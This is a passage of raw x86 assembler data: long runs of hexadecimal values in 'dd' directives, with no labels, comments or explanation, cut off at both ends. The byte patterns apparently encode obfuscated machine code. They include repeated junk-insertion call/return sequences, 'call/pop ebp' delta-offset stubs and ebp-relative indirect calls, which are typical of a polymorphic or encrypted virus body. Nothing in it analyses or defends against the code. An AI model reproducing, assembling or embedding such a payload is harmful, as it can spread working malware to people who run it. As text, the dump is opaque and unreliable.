6A58F38Bh, 3E85000h, 20000000h dd 8958C358h, 81042444h, 1B042444h, 40000000h, 0AB73C350h dd 54C3B56Dh, 0E6819CBFh, 0C5549A6h, 880FD82Bh, 15Ch, 25C68166h dd 7B9BCh, 6A0000h, 3E852h, 5A200000h, 54895AC3h, 44810424h dd 1A0424h, 52420000h, 74E65DC3h, 8589DE67h, 0C4F68166h dd 64E68144h, 83354747h, 12E800C1h, 0E1000000h, 40F79554h dd 37539BFBh, 4023FB68h, 8E1285F7h, 0F08B66CDh, 0FD93B5Eh dd 0FF86h, 71B58B00h, 66064809h, 6AD98Ch, 3E857h, 5F200000h dd 7C895FC3h, 44810424h, 190424h, 57470000h, 0EF047C3h dd 0E964E68Dh, 9, 0D71404A1h, 4DB4DC75h, 4C1F68Ch, 9C840Fh dd 0F8570000h, 0F195FF5Eh, 0BE064828h, 2CD7086Fh, 75B58B5Bh dd 2B06482Fh, 53006AC3h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h dd 1A04h, 0C3534300h, 0FA5178Ah, 0FABFA7Bh, 58Ah, 530ABE00h dd 343D08CFh, 0F000008h, 4D86h, 55006A00h, 3E8h, 0C35D2000h dd 246C895Dh, 24448104h, 1A04h, 0C3554500h, 970C1F36h dd 0E8BE2A94h, 5, 0D9DB81E1h, 0D59D017Fh, 5E064813h, 37E9h dd 0EE800h, 12A90000h, 54FB5BAAh, 0C663337h, 0D0A030ACh dd 0C08B5EF9h, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h dd 18h, 0B4C35646h, 0C41B24A1h, 0D88BC38Bh, 0E852006Ah dd 3, 5AC35A20h, 4245489h, 4244481h, 1Bh, 80C35242h, 0F1B7FBCCh dd 60441AA4h, 0BE957h, 21A90000h, 0A525EFB5h, 0E07B8D15h dd 0C7615ADDh, 482FC985h, 563B7706h, 5E93Ch, 0CEDB0000h dd 8B43C9CCh, 57006AC0h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h dd 1D04h, 0C3574700h, 96992BC5h, 0D032138Fh, 0B58B8634h dd 6481485h, 82DBD81h, 7D00648h, 850F0000h, 10h, 1AD5B58Bh dd 85FF0648h, 648082Dh, 44EBBE66h, 82DB5FFh, 0B58B0648h dd 6481FB9h, 92D95FFh, 6A0648h, 3E855h, 5D200000h, 6C895DC3h dd 44810424h, 160424h, 55450000h, 660BC8C3h, 66D88B90h dd 0BD83F78Bh, 648202Dh, 2F840F00h, 89000000h, 481F01BDh dd 247E906h, 6A0000h, 3E855h, 5D200000h, 6C895DC3h, 44810424h dd 160424h, 55450000h, 0A24645C3h, 2839B58Bh, 0DF8C0648h dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 17h, 5DC35242h dd 66953F81h, 4C7F7h, 1F7850Fh, 0F6810000h, 261A5CBDh dd 0BFh, 52006A00h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h dd 1504h, 0C3524200h, 8166CE3Ch, 8D5240EEh, 4BEF959Dh dd 0EEBE9306h, 502A78C1h, 2D1BDEBEh, 6A932Eh, 3E850h, 58200000h dd 448958C3h, 44810424h, 170424h, 50400000h, 8CA4B3C3h dd 35FF64B4h, 0 dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 14h, 0B6C35141h dd 0BE8h, 694A0500h, 21A31C04h, 71D7206Fh, 2589645Eh, 0 dd 5850F60h, 66000000h, 0C2B3C981h, 1AF98531h, 8B610648h dd 53006AC4h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1904h dd 0C3534300h, 628B5578h, 0B58B34E5h, 64831B5h, 0EB01CDh dd 2719B503h, 6AF90648h, 3E85100h, 20000000h, 8959C359h dd 8104244Ch, 1B042444h, 41000000h, 8AAFC351h, 826296A2h dd 0C6815ECAh, 225D34D5h, 58F64h, 6A000000h, 3E85200h dd 20000000h, 895AC35Ah, 81042454h, 19042444h, 42000000h dd 9FDEC352h, 6AC7FDB5h, 6A04C483h, 3E85000h, 20000000h dd 8958C358h, 81042444h, 17042444h, 40000000h, 0A2BEC350h dd 4ABE8A82h, 0B258951h, 96840FC0h, 0BE000000h, 51748BBEh dd 4E80BD8Dh, 0B5030648h, 6480CB9h, 5B8h, 5820F00h, 66000000h dd 0A0A8E681h, 6AE7FFh, 3E852h, 5A200000h, 54895AC3h, 44810424h dd 1B0424h, 52420000h, 94FC41C3h, 0ACD916F9h, 45B8BECFh dd 8B577DD0h, 8B10245Ch, 0B883h, 40B60F00h, 89C8FE01h dd 0B083h, 0B8838300h, 2000000h, 0C3C0335Fh, 0E851006Ah dd 3, 59C35920h, 4244C89h, 4244481h, 1Bh, 0DDC35141h, 4A875C60h dd 297B5F13h, 4805899Dh, 0E9CA2B06h, 0FFFFF757h, 0E857006Ah dd 3, 5FC35F20h, 4247C89h, 4244481h, 1Dh, 0ECC35747h, 84429DDCh dd 45F9629h, 0FE83Ah, 20C50000h, 43C04Dh, 4203496Fh, 0FC79DD7Ah dd 6860FECh, 31000000h, 480A6DB5h, 8D0F5E06h, 5, 0A5F68166h dd 0C78160A7h, 6490C4A2h, 29198D03h, 89600648h, 4811A985h dd 8B616106h, 0CE951C1h, 89000000h, 293B1CFCh, 5C475D53h dd 5F2DAF3Ch, 4EBh, 6A0000h, 3E851h, 59200000h, 4C8959C3h dd 44810424h, 170424h, 51410000h, 0D422B9C3h, 0BE6656EEh dd 895E96B5h, 48020585h, 2820F06h, 8B000000h, 55858DF1h dd 6A064812h, 3E85500h, 20000000h, 895DC35Dh, 8104246Ch dd 1B042444h, 45000000h, 0F1E5C355h, 0A806C06Ah, 0BD89181Bh dd 6480AF1h, 29905090h, 4809B1BDh, 6A006A06h, 0F78B6600h dd 0F1C2858Dh, 7E9064Bh, 0F5000000h, 0FC6CB1Ah, 0C0838F92h dd 55BD8B05h, 5006482Fh, 13E8h, 83FF7900h, 2D04A8C9h, 1417730Fh dd 600D7BD8h, 4424ACh, 0EE8h, 2668DC00h, 0C615749Ch, 0DA213421h dd 50D7A225h, 5A310F52h, 895F5E58h, 0BE662404h, 6ACFA8h dd 6AFA8B66h, 57006A00h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h dd 1504h, 0C3574700h, 0B52BBEECh, 6480C89h, 0E1C68166h dd 2D95FFC7h, 6A06482Bh, 3E85100h, 20000000h, 8959C359h dd 8104244Ch, 14042444h, 41000000h, 8DDDC351h, 4B99389Dh dd 56006A06h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1504h dd 0C3564600h, 0FC5771B6h, 31D3FF5Fh, 4817859Dh, 0D185FF06h dd 0E906481Ah, 7, 91323AD6h, 0E92F957Ch, 81Ch, 0E8h, 0ED815D00h dd 64BF1CCh, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h dd 1Ah, 41C35040h, 6491CA57h, 0BD8969A3h, 64821D9h, 82DBD81h dd 7D00648h, 860F0000h, 176h, 0B59D8BF8h, 51064812h, 0E3815Eh dd 66000001h, 660AC4BFh, 0B597C781h, 850FDB0Bh, 0C8h, 29418D89h dd 0BD830648h, 64BF065h, 56840F00h, 6A000000h, 3E85600h dd 20000000h, 895EC35Eh, 81042474h, 16042444h, 46000000h dd 0EEBFC356h, 0BE9BBh, 48E30000h, 0FEF81CCBh, 0C7707840h dd 0C4E967h, 6A0000h, 3E852h, 5A200000h, 54895AC3h, 44810424h dd 1B0424h, 52420000h, 0CD9D29C3h, 3E6BDD0Ch, 6585C7ABh dd 1064BF0h, 6A000000h, 3E85500h, 20000000h, 895DC35Dh dd 8104246Ch, 1A042444h, 45000000h, 0C3FC355h, 0A4DEC8B7h dd 0E9BD2389h, 0E9064804h, 6Ah, 0E850006Ah, 3, 58C35820h dd 4244489h, 4244481h, 14h, 1C35040h, 0CB1B589h, 8D890648h dd 6482ECDh, 0F06585C7h, 64Bh, 6A0000h, 3E857h, 5F200000h dd 7C895FC3h, 44810424h, 1C0424h, 57470000h, 0ADD477C3h dd 0CE076ED1h, 0FE92840h, 0E2000000h, 0B1289EFDh, 4FB2CACEh dd 376D6E6h, 9D8D8DC1h, 64812B5h, 0E857006Ah, 3, 5FC35F20h dd 4247C89h, 4244481h, 16h, 97C35747h, 23817300h, 0FFFFFEFFh dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 16h, 0C35747h dd 0BF665522h, 8C6619C5h, 0EE8166DBh, 0C3F6B7DBh, 49840F04h dd 6A000000h, 3E85100h, 20000000h, 8959C359h, 8104244Ch dd 17042444h, 41000000h, 18E1C351h, 95FFB0F4h, 64828F1h dd 2298531h, 60500648h, 61605250h, 0BF66310Fh, 585A693Bh dd 61D98B66h, 0BF240489h, 4385A797h, 890ABE66h, 406E9h dd 9BD8900h, 8B064814h, 0E600B0F3h, 6A71E470h, 3E85600h dd 20000000h, 895EC35Eh, 81042474h, 14042444h, 46000000h dd 0BE5FC356h, 42867C31h, 29D8B60Fh, 4809259Dh, 6BA06h dd 0DF810000h, 22D915BDh, 6AC38Bh, 3E856h, 5E200000h, 74895EC3h dd 44810424h, 140424h, 56460000h, 0BD313DC3h, 6480BFDh dd 0F04E8C1h, 687h, 25BD8900h, 66064809h, 6AE2F7h, 3E856h dd 5E200000h, 74895EC3h, 44810424h, 160424h, 56460000h dd 6552BAC3h, 6E9h, 0C99C7100h, 2B8C7FF3h, 55006AD8h, 3E8h dd 0C35D2000h, 246C895Dh, 24448104h, 1704h, 0C3554500h dd 41340172h, 0BE9h, 8412CB00h, 941A6F9h, 4AD2DB64h, 0EBE6693h dd 0AE95067h, 0EB000000h, 4532C604h, 0B535C986h, 11E9939Bh dd 0B6000000h, 0C3831950h, 0F45A2F0Ah, 0B189C24Ah, 61F9D97Dh dd 82DB5FFh, 6A0648h, 3E850h, 58200000h, 448958C3h, 44810424h dd 1B0424h, 50400000h, 5270BDC3h, 0A4E713h, 2D95FFC6h dd 29064809h, 4830C995h, 6A00B006h, 3E85100h, 20000000h dd 8959C359h, 8104244Ch, 1A042444h, 41000000h, 7877C351h dd 8D1D00A1h, 0BABE53F3h, 5E70970Fh, 6A70E6h, 3E850h, 58200000h dd 448958C3h, 44810424h, 1B0424h, 50400000h, 0E5FA75C3h dd 0F36104DCh, 0FAB70F17h, 2F618D09h, 71E40648h, 0FE9h dd 4B81F100h, 29093CF6h, 0A0E49E61h, 0E25E7C44h, 830F613Ch dd 25Bh, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h dd 1Bh, 36C35646h, 4E1AB606h, 0E84AD4EEh, 0Dh, 387EFEEEh dd 640DB737h, 1A8CC25Fh, 8E85FDCh, 43000000h, 0B3C1B125h dd 0E89C869Eh, 12h, 3FFD1DB0h, 0C6DFEA31h, 7933202Bh, 7D4A11FAh dd 5F5E26A4h, 0E9D8B60Fh, 5, 93E39F1Ch, 6BA54h, 0C38B0000h dd 1E880Fh, 12E80000h, 0BC000000h, 127D40E9h, 3CF8FAD6h dd 0CF1944ABh, 99EDC475h, 998D89B0h, 5E064804h, 6A04E8C1h dd 3E85200h, 20000000h, 895AC35Ah, 81042454h, 1B042444h dd 42000000h, 0A5D9C352h, 813F8D91h, 8D89F689h, 6481AE1h dd 2999BD8Bh, 0BD330648h, 6480229h, 0E9E2F766h, 7, 0B3D71224h dd 2BA579D4h, 15B58BD8h, 0F06482Bh, 6A58F8BFh, 3E85600h dd 20000000h, 895EC35Eh, 81042474h dd 15042444h, 46000000h, 1181C356h, 2D5616BFh, 0FD82B6Eh dd 14A88h, 0EE900h, 499B0000h, 30ED25A7h, 883E769Bh, 0E1B4A0F4h dd 7B9h, 51006A00h, 3E8h, 0C3592000h, 244C8959h, 24448104h dd 1904h, 0C3514100h, 0A2E4D0C2h, 0C1832B60h, 0FD93B00h dd 10686h, 57006A00h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h dd 1904h, 0C3574700h, 72997FA6h, 8C666ED5h, 52006AD9h dd 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1404h, 0C3524200h dd 4C1F666h, 0B5840Fh, 6A0000h, 3E852h, 5A200000h, 54895AC3h dd 44810424h, 160424h, 52420000h, 0A7831DC3h, 28F195FFh dd 8D890648h, 6480DEDh, 6820F5Bh, 89000000h, 4815C585h dd 6AC32B06h, 3E85700h, 20000000h, 895FC35Fh, 8104247Ch dd 19042444h, 47000000h, 1582C357h, 2D348DC4h, 14E9h, 0EA88A400h dd 0C087C210h, 0B0CDF93Dh, 6CDCCDEDh, 0DA817EF9h, 8343D05h dd 860F0000h, 37h, 0E851006Ah, 3, 59C35920h, 4244C89h dd 4244481h, 1Ah, 0E7C35141h, 5CD10B49h, 0CF813286h, 15497E2Dh dd 5E9h, 0D6C6B000h, 8E92816h, 8B000000h, 959D89C0h, 8B064822h dd 0FD88BC3h, 58Eh, 175BF00h, 85C71A01h, 6481191h, 186CBF75h dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 1Ah, 0F7C35545h dd 64CF0227h, 0BD8B0C11h, 64806DDh, 6AC08Bh, 3E855h, 5D200000h dd 6C895DC3h, 44810424h, 160424h, 55450000h, 0AB969DC3h dd 81FEB70Fh, 48082DBDh, 7D006h, 2F850F00h, 6A000000h dd 3E85600h, 20000000h, 895EC35Eh, 81042474h, 16042444h dd 46000000h, 5199C356h, 5D781F0h, 0FF7D43BBh, 48082D85h dd 0DE816606h, 0B5FF03E7h, 648082Dh, 0E856006Ah, 3, 5EC35E20h dd 4247489h, 4244481h, 1Ah, 2C35646h, 5FEAB1ECh, 95FF8C08h dd 648092Dh, 0C458589h, 66900648h, 0BE66F88Bh, 6A1E69h dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 170424h, 51410000h dd 0F99F72C3h, 15BD8B7Fh, 0E9064830h, 13h, 300B62E9h, 2F517E49h dd 0A60B88FBh, 0E001C73h, 0FC86FB1Dh, 6E8h, 67E06500h dd 89CDA93Ah, 480A8985h, 0AE906h, 59720000h, 6E5F6056h dd 0CD0F0765h, 57006A5Fh, 3E8h, 0C35F2000h, 247C895Fh dd 24448104h, 1804h, 0C3574700h, 631970CAh, 89E2BE37h dd 0FA8B7155h, 33098D89h, 81660648h, 8B2722EEh, 480D45BDh dd 53006A06h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1A04h dd 0C3534300h, 0D7D2B64Eh, 8B0C7F73h, 480901BDh, 0DD9D0106h dd 8906481Bh, 4805C585h, 5BD8B06h, 6A064802h, 3E85000h dd 20000000h, 8958C358h, 81042444h, 15042444h, 40000000h dd 1F2BC350h, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h dd 19h, 35C35141h, 21DDF07h, 0C2BF661Dh, 0F7EAE9B6h, 0BD8BFFFFh dd 6482F21h, 6AC18Bh, 3E853h, 5B200000h, 5C895BC3h, 44810424h dd 180424h, 53430000h, 0F2D273C3h, 800FD4CFh, 2, 0D781F98Bh dd 1C3FD5D2h, 4EBh, 6A0000h, 3E857h, 5F200000h, 7C895FC3h dd 44810424h, 170424h, 57470000h, 7F9EAAC3h, 0B19D0141h dd 8B06480Dh, 55858DF7h, 0FC064812h, 0DE890h, 72540000h dd 0C75DD342h, 49984A8Ah, 66586916h, 505EFE8Bh, 70956EBEh dd 6A9060h, 3E856h, 5E200000h, 74895EC3h, 44810424h, 160424h dd 56460000h, 0AFC533C3h, 6AFBBF0Fh, 0DDBD2900h, 6A064829h dd 53006A00h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1804h dd 0C3534300h, 66EF60C6h, 0FEBF0F00h, 0FC43858Dh, 6A064Bh dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 180424h, 55450000h dd 0F78E9CC3h, 0BD8B1F73h, 6480B89h, 12830Fh, 0DE90000h dd 72000000h, 59DA6D8Eh, 7CEBEDEEh, 0D00638B7h, 6A05C083h dd 3E85200h, 20000000h, 895AC35Ah, 81042454h, 18042444h dd 42000000h, 0AD31C352h, 50CB702Ch, 933DF81h, 505E063Ah dd 810Fh, 4890000h, 51006A24h, 3E8h, 0C3592000h, 244C8959h dd 24448104h, 1B04h, 0C3514100h, 0B5F0F4D8h, 2D3F8968h dd 16D98D29h, 6A0648h, 0E850006Ah, 3, 58C35820h, 4244489h dd 4244481h, 17h, 36C35040h, 8B468CEEh, 4831B1BDh, 6A006A06h dd 3E85700h, 20000000h, 895FC35Fh, 8104247Ch, 1A042444h dd 47000000h, 0F6D0C357h, 0AEFE9E1Bh, 0F19D896Dh, 6606480Eh dd 1797D781h, 13E8h, 74B3F700h, 0F48B4712h, 0C77B1AC5h dd 0F48D0408h, 2C8DAC97h, 65B533h, 0FF5F0648h, 482B2D95h dd 56006A06h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1704h dd 0C3564600h, 81ABE7A0h, 6880Fh, 0E7810000h, 4F0E28E9h dd 99389D8Dh, 0D5BE064Bh, 0FF2312D0h, 51006AD3h, 3E8h dd 0C3592000h, 244C8959h, 24448104h, 1A04h, 0C3514100h dd 673D007h, 0FFAE7029h, 481AD185h, 0EE906h, 8B100000h dd 0FAFBB1DFh, 3B9FE42Bh, 0A2E4D0C2h, 74AE9h, 0E800h, 815D0000h dd 4BFC4DEDh, 18D3106h, 81064817h, 48082DBDh, 7D006h, 16860F00h dd 6A000001h, 3E85500h, 20000000h, 895DC35Dh, 8104246Ch dd 17042444h, 45000000h, 4C41C355h, 0BD8BC538h, 64808FDh dd 29659D8Bh, 0EE810648h, 56FC2FE1h, 100E381h, 0BD010000h dd 648062Dh, 850FDB0Bh, 84h, 0E853006Ah, 3, 5BC35B20h dd 4245C89h, 4244481h, 14h, 64C35343h, 10E8h, 538BC400h dd 277DDFA7h, 1C7CA2A8h, 18675EBBh, 835FFC8Ah, 4BFA15BDh dd 840F0006h, 10h, 5F19D31h, 49E90648h, 0BE000000h, 3688ED0Ah dd 0FA1585C7h, 1064Bh, 6A0000h, 3E852h, 5A200000h, 54895AC3h dd 44810424h, 190424h, 52420000h, 0A16E23C3h, 0E9F6961Eh dd 14h, 7E2EBF66h, 0FA1585C7h, 64Bh, 9D890000h, 6482A89h dd 29659D8Dh, 6A0648h, 3E850h, 58200000h, 448958C3h, 44810424h dd 140424h, 50400000h, 2381F9C3h, 0FFFFFEFFh, 0B830Fh dd 66600000h, 0B91161BAh, 638D375Ch, 2ABF6661h, 0DB8C66B2h dd 2D853360h, 0F06481Ah, 28Ch, 61FE8B00h, 0F04C3F6h, 3184h dd 70D68100h, 0FF6803C1h, 4828F195h, 0BD8D3106h, 81064815h dd 0F244BAEEh, 60509000h, 59616057h, 5876B451h, 0BD8B9061h dd 6480411h, 13DB58Bh, 7EE90648h, 0B0000003h, 56006A00h dd 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1B04h, 0C3564600h dd 0C3FA63C6h, 0C9308B73h, 0B58B70E6h, 6482B79h, 0B60F71E4h dd 51006AD8h, 3E8h, 0C3592000h, 244C8959h, 24448104h, 1704h dd 0C3514100h, 0DD951A37h, 28B18589h, 0F38B0648h, 9EDF8166h dd 6BA5Fh, 6A0000h, 3E856h, 5E200000h, 74895EC3h, 44810424h dd 1D0424h, 56460000h, 0F5DC84C3h, 159A5EA4h, 896F578Ch dd 4811F1BDh, 6AC38B06h, 3E85100h, 20000000h, 8959C359h dd 8104244Ch, 1D042444h, 41000000h, 0B294C351h, 7967B5A9h dd 34EE6E46h, 6604E8C1h, 0AE9E2F7h, 0CC000000h, 4890A78Eh dd 9687386Eh, 6AD82B3Dh, 3E85100h, 20000000h, 8959C359h dd 8104244Ch, 17042444h, 41000000h, 0B08AC351h, 60602960h dd 10E9BD8Bh, 8B0F0648h, 0 dd 0C9816661h, 506168ABh, 89FA8B66h, 6A241Ch, 3E850h, 58200000h dd 448958C3h, 44810424h, 170424h, 50400000h, 0C48786C3h dd 2DB5FFF7h, 0F064808h, 689h, 71B52900h, 0FF064800h, 48092D95h dd 16BE6606h, 6A00B077h, 3E85600h, 20000000h, 895EC35Eh dd 81042474h, 1D042444h, 46000000h, 65D5C356h, 64A3F1BCh dd 0ED87D565h, 6A70E6h, 3E856h, 5E200000h, 74895EC3h, 44810424h dd 1C0424h, 56460000h, 66BF1EC3h, 0BED0E10h, 81FCD315h dd 998F41C7h, 6A71E447h, 3E85200h, 20000000h, 895AC35Ah dd 81042454h, 14042444h, 42000000h, 3C58C352h, 0C2830F61h dd 29000001h, 4828E1BDh, 0D8B60F06h, 0E857006Ah, 3, 5FC35F20h dd 4247C89h, 4244481h, 15h, 3C35747h, 85896062h, 648030Dh dd 11F1858Bh, 0BA610648h, 6, 0F419D89h, 0C38B0648h, 0E857006Ah dd 3, 5FC35F20h, 4247C89h, 4244481h, 16h, 5FC35747h, 8166B1DEh dd 0C1B896CEh, 6A04E8h, 3E852h, 5A200000h, 54895AC3h, 44810424h dd 1A0424h, 52420000h, 34A97C3h, 32169075h, 14E98509h dd 0F7660648h, 53006AE2h, 3E8h, 0C35B2000h, 245C895Bh dd 24448104h, 1404h, 0C3534300h, 0A1B58B2Ch, 81064806h dd 0D555B2C7h, 0F8BF0F61h, 6AD82Bh, 3E851h, 59200000h dd 4C8959C3h, 44810424h, 140424h, 51410000h, 0F7814FC3h dd 0CBC8230h, 25BF6658h, 0FD82BDDh, 0D488h, 85858900h dd 0B9064832h, 7, 1BF1B58Bh, 0C1830648h, 71B58B00h, 3B06480Ah dd 0B2860FD9h, 8B000000h, 0D98C66F3h, 0E850006Ah, 3, 58C35820h dd 4244489h, 4244481h, 1Dh, 5C35040h, 0DC6F6D15h, 3B10F976h dd 0CE9FDh, 0F86B0000h, 71863D27h, 39B7531Bh, 0C1F6B6DDh dd 6C840F04h, 8B000000h, 0F195FFF9h, 66064828h, 5B383DBEh dd 8E8h, 6EC51000h, 98D91AF3h, 0C32B5F6Eh, 8343Dh, 44860F00h dd 6A000000h, 3E85300h, 20000000h, 895BC35Bh, 8104245Ch dd 1D042444h, 43000000h, 0A748C353h, 8824407Ah, 73B6C16Ah dd 3161BD89h, 8B0F0648h, 8, 3D9D3153h, 5F064806h, 8E9h dd 96C68100h, 8B08A7B9h, 8BC38BC0h, 53006AD8h, 3E8h, 0C35B2000h dd 245C895Bh, 24448104h, 1D04h, 0C3534300h, 9C4C65E5h dd 0BC7D12DAh, 66579E29h, 5E9731BFh, 12B585C7h, 0AB5F0648h dd 6A7FB6h, 3E852h, 5A200000h, 54895AC3h, 44810424h, 140424h dd 52420000h, 0FE975C3h, 51000000h, 60A15833h, 0D971B430h dd 0DA795305h, 8589E24Dh, 6481A61h, 0B58BC08Bh, 6480C31h dd 82DBD81h, 7D00648h, 850F0000h, 59h, 0E850006Ah, 3, 58C35820h dd 4244489h, 4244481h, 16h, 6FC35040h, 0BF66DE47h, 85FFA39Bh dd 648082Dh, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h dd 1Ah, 6CC35141h, 0AB23D44Dh, 60531B7Dh, 0BF0FFC8Ah, 895F61F6h dd 4814E9BDh, 2DB5FF06h, 66064808h, 7CFDD781h, 92D95FFh dd 8D890648h, 648109Dh, 0BE8h, 6A6D1E00h, 69CB23B4h, 3714A43Bh dd 65A582BEh, 0F905E6Eh, 1288h, 0DE900h, 0E5360000h, 9F4D9940h dd 9569DDEAh, 6096D52Ah, 15F9B58Bh, 8A0F0648h, 0Ah, 0D0F5B966h dd 29899D89h, 0BE660648h, 6A61AFA8h, 3E85500h, 20000000h dd 895DC35Dh, 8104246Ch, 18042444h, 45000000h, 8BD7C355h dd 6604FFE4h, 0BE8F38Bh, 0CF000000h, 0CEBCACD8h, 0B1141E2Fh dd 6A5EE902h, 3E85700h, 20000000h, 895FC35Fh, 8104247Ch dd 1D042444h, 47000000h, 97BBC357h, 7CB0363Dh, 0BAA4918Ah dd 33DEBE66h, 0B5296056h, 6480499h, 39858BFCh, 6106480Dh dd 3285BD8Bh, 6A5F0648h, 3E85500h, 20000000h, 895DC35Dh dd 8104246Ch, 1B042444h, 45000000h, 0DFF8C355h, 79A00FC4h dd 0F681C359h, 3998AC20h, 0CD8589F9h, 8B06481Ah, 483101BDh dd 8D315606h, 6482801h, 0F08B665Fh, 0E851006Ah, 3, 59C35920h dd 4244C89h, 4244481h, 17h, 1C35141h, 53313431h, 2EC5B589h dd 0E95F0648h, 0FFFFF8D5h, 3850F781h, 14E97C49h, 0DD000000h dd 87D913ACh, 9E4D5EE1h, 1E160F8h, 0DC0C7689h, 8BB08FBDh dd 50006AC1h, 3E8h, 0C3582000h, 24448958h, 24448104h, 1C04h dd 0C3504000h, 7BBEFAC4h, 6F52B4FBh, 15BD318Bh, 0EB064817h dd 4, 5E900h, 0B5A30000h, 66A17E19h, 880FF08Bh, 3, 8DFB8B66h dd 48125585h, 50006A06h, 3E8h, 0C3582000h, 24448958h, 24448104h dd 1904h, 0C3504000h, 35DFEF0Fh, 665024EBh, 89284BBEh dd 6A2404h, 3E850h, 58200000h, 448958C3h, 44810424h, 1C0424h dd 50400000h, 0C304D6C3h, 0FE7ECC95h, 9D31A18Eh, 6481259h dd 6AF5006Ah, 53006A00h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h dd 1D04h, 0C3534300h, 0BF3487B6h, 7D6CA03Ch, 13E82666h dd 0 dd 0C6533CC0h, 1FCAEDC7h, 4E51AFB0h, 0CEF2EB7Bh, 665E6A45h dd 0D5FDE81h, 55A858Dh, 6A064Ch, 3E855h, 5D200000h, 6C895DC3h dd 44810424h, 160424h, 55450000h, 0DF317C3h, 0F9BD8B52h dd 5E064809h, 0AD5BD8Bh, 0C0830648h, 0DDBD2B05h, 9006480Fh dd 50FE8B66h, 87A390BEh, 0B5039070h, 6481A49h, 0BD03006Ah dd 64815E5h, 6A006Ah, 3E857h, 5F200000h, 7C895FC3h, 44810424h dd 140424h, 57470000h, 95FFDEC3h, 6482B2Dh, 0E853006Ah dd 3, 5BC35B20h, 4245C89h, 4244481h, 16h, 4FC35343h, 0EE819A22h dd 35AB68F0h, 99389D8Dh, 6A064Bh, 3E850h, 58200000h, 448958C3h dd 44810424h, 170424h, 50400000h, 2B5778C3h, 0FD3FFC3h dd 85FFFEB7h, 6481AD1h, 0CE9h, 78FDAC00h, 97565687h, 1261552Eh dd 0E95E52D2h, 7A5h, 0E8h, 0ED815D00h, 64C0564h, 0E853006Ah dd 3, 5BC35B20h, 4245C89h, 4244481h, 17h, 32C35343h, 818161C2h dd 48082DBDh, 7D006h, 49860F00h, 6A000001h, 3E85700h, 20000000h dd 895FC35Fh, 8104247Ch, 1B042444h, 47000000h, 475EC357h dd 4A77A647h, 9D8B9E63h, 64812C5h, 0E855006Ah, 3, 5DC35D20h dd 4246C89h, 4244481h, 16h, 68C35545h, 0B589AF46h, 6482B55h dd 100E381h, 6A0000h, 3E850h, 58200000h, 448958C3h, 44810424h dd 1C0424h, 50400000h, 863F5CC3h, 4DBD3A63h, 0BD8B56FBh dd 6480085h, 850FDB0Bh, 6Fh, 83FFB70Fh, 4C03C0BDh, 840F0006h dd 33h, 6BD1DE81h, 64E927D7h, 6A000000h, 3E85500h, 20000000h dd 895DC35Dh, 8104246Ch, 1A042444h, 45000000h, 7F12C355h dd 0C9AF7855h, 0E98D891Ch, 0C7064808h, 4C03C085h, 106h dd 2820F00h, 57000000h, 3810F5Fh, 0F000000h, 1CE9F8BFh dd 0F000000h, 682h, 69C78100h, 0C70814EBh, 4C03C085h, 6 dd 41853100h, 8D064827h, 4812C59Dh, 559D2906h, 81064811h dd 0FFFEFF23h, 52006AFFh, 3E8h, 0C35A2000h, 2454895Ah dd 24448104h, 1604h, 0C3524200h, 0BFEA742Bh, 2CE40DCBh dd 0BD8B6052h, 6482B35h, 890Fh, 5F610000h, 6ADB8C66h, 3E85600h dd 20000000h, 895EC35Eh, 81042474h, 19042444h, 46000000h dd 300DC356h, 25072BFBh, 3F2ED781h, 0C3F61253h, 7B840F04h dd 0F000000h, 1185h, 6E800h, 0C7DF0000h, 3DCADBBCh, 0AF5F77BFh dd 95FF5F23h, 64828F1h, 14E8h, 4561DE00h, 303BE573h, 6D7D9D99h dd 0FDD4C707h, 26C37F10h, 0D1BD8B35h, 5F06482Eh, 0CE95250h dd 61000000h, 0D5DC642Ch, 0E81A00A8h, 5EC63317h, 6A240489h dd 3E85100h, 20000000h, 8959C359h, 8104244Ch, 19042444h dd 41000000h, 9699C351h, 0D032138Fh, 1AC5BD01h, 72E90648h dd 6A000003h, 3E85000h, 20000000h, 8958C358h, 81042444h dd 17042444h, 40000000h, 0D197C350h, 0B58981B0h, 648168Dh dd 6A00B0h, 3E856h, 5E200000h, 74895EC3h, 44810424h, 170424h dd 56460000h, 0A09BCAC3h, 2D858995h, 0E6064833h, 52006A70h dd 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1504h, 0C3524200h dd 0E7816817h, 73AB23CFh, 0B60F71E4h, 31B58BD8h, 0BA06480Fh dd 6, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 15h dd 82C35040h, 0AE98Bh, 7260000h, 6C7DC276h, 43AA2A48h dd 17C5B58Bh, 0C38B0648h, 0E855006Ah, 3, 5DC35D20h, 4246C89h dd 4244481h, 1Ch, 0EC35545h, 24635815h, 8560FC4Dh, 6A04E8C1h dd 3E85200h, 20000000h, 895AC35Ah, 81042454h, 17042444h dd 42000000h, 11C4C352h, 0B58BAEECh, 648312Dh, 29E2F766h dd 48229595h, 6AD82B06h, 3E85300h, 20000000h, 895BC35Bh dd 8104245Ch, 1A042444h, 43000000h, 0CD2CC353h, 28179745h dd 8B6050E0h, 48141195h, 89BD8B06h, 61064831h, 5F52935Fh dd 0FFF59350h, 48082DB5h, 53006A06h, 3E8h, 0C35B2000h dd 245C895Bh, 24448104h, 1904h, 0C3534300h, 0AAEDA701h dd 95FF672Ch, 648092Dh, 